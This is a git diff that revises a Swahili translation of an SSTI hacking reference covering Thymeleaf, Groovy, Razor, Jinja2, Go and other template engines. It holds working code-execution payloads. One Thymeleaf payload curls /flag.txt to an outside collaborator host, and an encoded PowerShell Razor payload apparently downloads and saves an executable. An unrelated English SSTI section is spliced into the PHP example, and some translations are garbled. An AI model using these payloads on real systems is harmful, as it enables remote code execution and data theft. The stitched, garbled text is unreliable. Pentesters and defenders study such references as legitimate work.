@ -168,22 +180,22 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
|||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf inahitaji expressions hizi ziwekwe ndani ya attributes maalum. Hata hivyo, _expression inlining_ inasaidiwa kwa maeneo mengine ya template, kutumia syntax kama `[[...]]` au `[(...)]`. Hivyo, payload rahisi ya kujaribu SSTI inaweza kuonekana kama `[[${7*7}]]`.
|
||||
Thymeleaf inahitaji mchanganyiko huu kuwekwa ndani ya sifa maalum. Hata hivyo, _kuingiza mchanganyiko wa maelezo_ inasaidiwa kwa maeneo mengine ya kigezo, kwa kutumia sintaksia kama `[[...]]` au `[(...)]`. Hivyo, mchanganyiko wa mtihani wa SSTI unaweza kuonekana kama `[[${7*7}]]`.
|
||||
|
||||
Hata hivyo, uwezekano wa payload huu kufanya kazi kwa ujumla ni mdogo. Configuration ya msingi ya Thymeleaf haisaidii dynamic template generation; templates lazima ziwe predefined. Wabunifu wangehitaji kutekeleza `TemplateResolver` yao wenyewe ili kuunda templates kutoka strings kwa haraka, jambo ambalo si la kawaida.
|
||||
Hata hivyo, uwezekano wa mchanganyiko huu kufanya kazi kwa ujumla ni mdogo. Mpangilio wa msingi wa Thymeleaf hauungi mkono uundaji wa kigezo cha kudumu; mifano lazima iwe tayari. Watengenezaji wangepaswa kutekeleza `TemplateResolver` yao wenyewe ili kuunda mifano kutoka kwa herufi kwa wakati halisi, jambo ambalo si la kawaida.
|
||||
|
||||
Thymeleaf pia inatoa _expression preprocessing_, ambapo expressions ndani ya double underscores (`__...__`) zinapitia preprocessing. Kipengele hiki kinaweza kutumika katika ujenzi wa expressions, kama ilivyodhihirishwa katika nyaraka za Thymeleaf:
|
||||
Thymeleaf pia inatoa _usindikaji wa mchanganyiko_, ambapo mchanganyiko ndani ya mstari wa chini mara mbili (`__...__`) unapoproseswa mapema. Kipengele hiki kinaweza kutumika katika ujenzi wa mchanganyiko, kama ilivyoonyeshwa katika nyaraka za Thymeleaf:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
**Mfano wa Udhaifu katika Thymeleaf**
|
||||
|
||||
Zingatia sehemu ifuatayo ya nambari, ambayo inaweza kuwa na hatari ya kudukuliwa:
|
||||
Zingatia sehemu ifuatayo ya nambari, ambayo inaweza kuwa na hatari ya kuchambuliwa:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Hii inaonyesha kwamba ikiwa injini ya templeti inaprocessinga hizi inputs vibaya, inaweza kusababisha utekelezaji wa nambari kwa mbali kupata URLs kama:
|
||||
Hii inaonyesha kwamba ikiwa injini ya kigezo inachakata vipimo hivi vibaya, inaweza kusababisha utekelezaji wa nambari kwa mbali kupata URL kama:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
|
@ -308,7 +320,7 @@ Imesuluhishwa na [https://github.com/HubSpot/jinjava/pull/230](https://github.co
|
|||
### Hubspot - HuBL (Java)
|
||||
|
||||
* `{% %}` mizizi ya taarifa
|
||||
* `{{ }}` mizizi ya maelezo
|
||||
* `{{ }}` mizizi ya kielezo
|
||||
* `{# #}` mizizi ya maoni
|
||||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||
* `{{'a'.toUpperCase()}}` - "A"
|
||||
|
@ -370,11 +382,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{ombi}}, ${{kikao}}, {{faceContext}}`
|
||||
|
||||
Lugha ya Uelekezaji (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama mabaka yaliyosimamiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE kusaidia mawasiliano haya. Teknolojia muhimu za JavaEE zinazotumia EL ni pamoja na:
|
||||
Lugha ya Uelekezaji (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama maboga yaliyosimamiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE kusaidia mawasiliano haya. Teknolojia muhimu za JavaEE zinazotumia EL ni pamoja na:
|
||||
|
||||
* **JavaServer Faces (JSF)**: Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na hatua za nyuma zinazolingana.
|
||||
* **JavaServer Pages (JSP)**: EL hutumiwa katika JSP kufikia na kubadilisha data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
|
||||
* **Muktadha na Uingizaji wa Mahitaji kwa Java EE (CDI)**: EL inaunganisha na CDI kuruhusu mwingiliano laini kati ya safu ya wavuti na mabaka yaliyosimamiwa, ikisimamia muundo thabiti wa programu.
|
||||
* **JavaServer Faces (JSF)**: Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na hatua za nyuma zinazofanana.
|
||||
* **JavaServer Pages (JSP)**: EL hutumiwa katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
|
||||
* **Muktadha na Uingizaji wa Mahitaji kwa Java EE (CDI)**: EL inaunganisha na CDI kuruhusu mwingiliano laini kati ya safu ya wavuti na maboga yaliyosimamiwa, ikisimamia muundo thabiti wa programu.
|
||||
|
||||
Angalia ukurasa ufuatao kujifunza zaidi kuhusu **utumiaji wa waelekezaji wa EL**:
|
||||
|
||||
|
@ -384,7 +396,7 @@ Angalia ukurasa ufuatao kujifunza zaidi kuhusu **utumiaji wa waelekezaji wa EL**
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
Mipito ya Usimamizi wa Usalama ifuatayo ilitolewa kutoka kwenye [**makala hii**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
Mipito ya Usimamizi wa Usalama ifuatayo ilichukuliwa kutoka kwenye hii [**andishi**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
@ -411,7 +423,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -479,7 +491,7 @@ array("first_name" => $user.first_name)
|
|||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates ni injini ya templeti ya asili ya PHP, ikichota msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika templeti, hivyo kuifanya iwe rahisi kwa watengenezaji wa PHP.
|
||||
Plates ni injini ya templeti ya asili ya PHP, ikichota msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika templeti, ikifanya iwe rahisi kwa watengenezaji wa PHP.
|
||||
|
||||
Msimamizi:
|
||||
```php
|
||||
|
@ -537,7 +549,23 @@ Muundo wa kigeuzi:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
`waandishi.php`
|
||||
# SSTI (Server-Side Template Injection)
|
||||
|
||||
## Description
|
||||
|
||||
In some cases, the application may use server-side templates to render dynamic content. If the application does not properly validate and sanitize user input in these templates, it may be vulnerable to Server-Side Template Injection (SSTI). An attacker can exploit this vulnerability to execute arbitrary code on the server.
|
||||
|
||||
## Exploitation
|
||||
|
||||
To exploit SSTI, an attacker can inject template code into user-controllable input fields, such as search bars or form fields. The injected code will then be executed by the server when the template is rendered.
|
||||
|
||||
## Detection
|
||||
|
||||
Detecting SSTI vulnerabilities can be challenging, as the behavior may vary depending on the template engine used by the application. Manual code review and testing with payloads can help identify potential SSTI vulnerabilities.
|
||||
|
||||
## Prevention
|
||||
|
||||
To prevent SSTI vulnerabilities, it is important to validate and sanitize all user input before using it in server-side templates. Additionally, consider using a secure template engine that automatically escapes user input to prevent code execution.
|
||||
```php
|
||||
<?php
|
||||
//we want to display this author list
|
||||
|
@ -648,10 +676,10 @@ URLencoded:
|
|||
|
||||
| **Kigezo** | **Maelezo** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | Kutathmini na kutoa matokeo |
|
||||
| | Kutathmini na kutoa matokeo yaliyofungwa kwa HTML |
|
||||
| | Thibitisha na toa matokeo |
|
||||
| | Thibitisha na toa matokeo yaliyofungwa kwenye HTML |
|
||||
| | Maoni |
|
||||
| na | Kuruhusu nambari (imelemazwa kwa chaguo-msingi) |
|
||||
| na | Ruhusu nambari (imelemazwa kwa chaguo-msingi) |
|
||||
|
||||
* \= 49
|
||||
|
||||
|
@ -819,7 +847,7 @@ Angalia ukurasa ufuatao kujifunza mbinu za **utekelezaji wa amri za kupita kweny
|
|||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Payloads nyingine zinapatikana katika [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
Payloads nyingine katika [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
|
||||
### Mako (Python)
|
||||
```python
|
||||
|
@ -844,9 +872,9 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //Msimbo wa C# )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AbQBlAHQANgA0AC4AGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
Mbinu ya `.NET` ya `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti inayoweza kudhurika katika [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
Mbinu ya `System.Diagnostics.Process.Start` ya .NET inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti inayoweza kudhurika kwenye [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
**Maelezo zaidi**
|
||||
|
||||
|
@ -886,7 +914,7 @@ Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa n
|
|||
|
||||
**Udanganyifu wa XSS**
|
||||
|
||||
Kwa pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza mizigo moja kwa moja. Kinyume chake, pakiti ya `html/template` inakata majibu ili kuzuia hili (k.m., `{{"<script>alert(1)</script>"}}` inatoa `<script>alert(1)</script>`). Walakini, ufafanuzi wa templeti na wito katika Go unaweza kuepuka usimbaji huu: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Kwa pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza mizigo moja kwa moja. Kinyume chake, pakiti ya `html/template` inakataza majibu ili kuzuia hili (kwa mfano, `{{"<script>alert(1)</script>"}}` inatoa `<script>alert(1)</script>`). Walakini, ufafanuzi wa templeti na wito katika Go unaweza kuepuka usimbaji huu: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
|
@ -894,7 +922,7 @@ vbnet Copy code
|
|||
|
||||
Udanganyifu wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya "call"), jambo ambalo haliruhusiwi katika `html/template`. Nyaraka kwa moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Kwa RCE kupitia SSTI katika Go, njia za vitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina njia ya `System` inayotekeleza amri, inaweza kutumiwa kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi ni muhimu kudanganya hili, kama katika mfano uliotolewa:
|
||||
Kwa RCE kupitia SSTI katika Go, njia za vitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina njia ya `System` inayotekeleza amri, inaweza kutumiwa kama `{{ .System "ls" }}`. Kupata nambari ya chanzo mara nyingi ni muhimu kwa kudanganya hii, kama katika mfano uliotolewa:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -932,7 +960,7 @@ Ikiwa unadhani inaweza kuwa na manufaa, soma:
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
## Zoezi na Marejeleo
|
||||
## Zoezi & Marejeleo
|
||||
|
||||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
@ -940,7 +968,7 @@ Ikiwa unadhani inaweza kuwa na manufaa, soma:
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **malengo ya kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue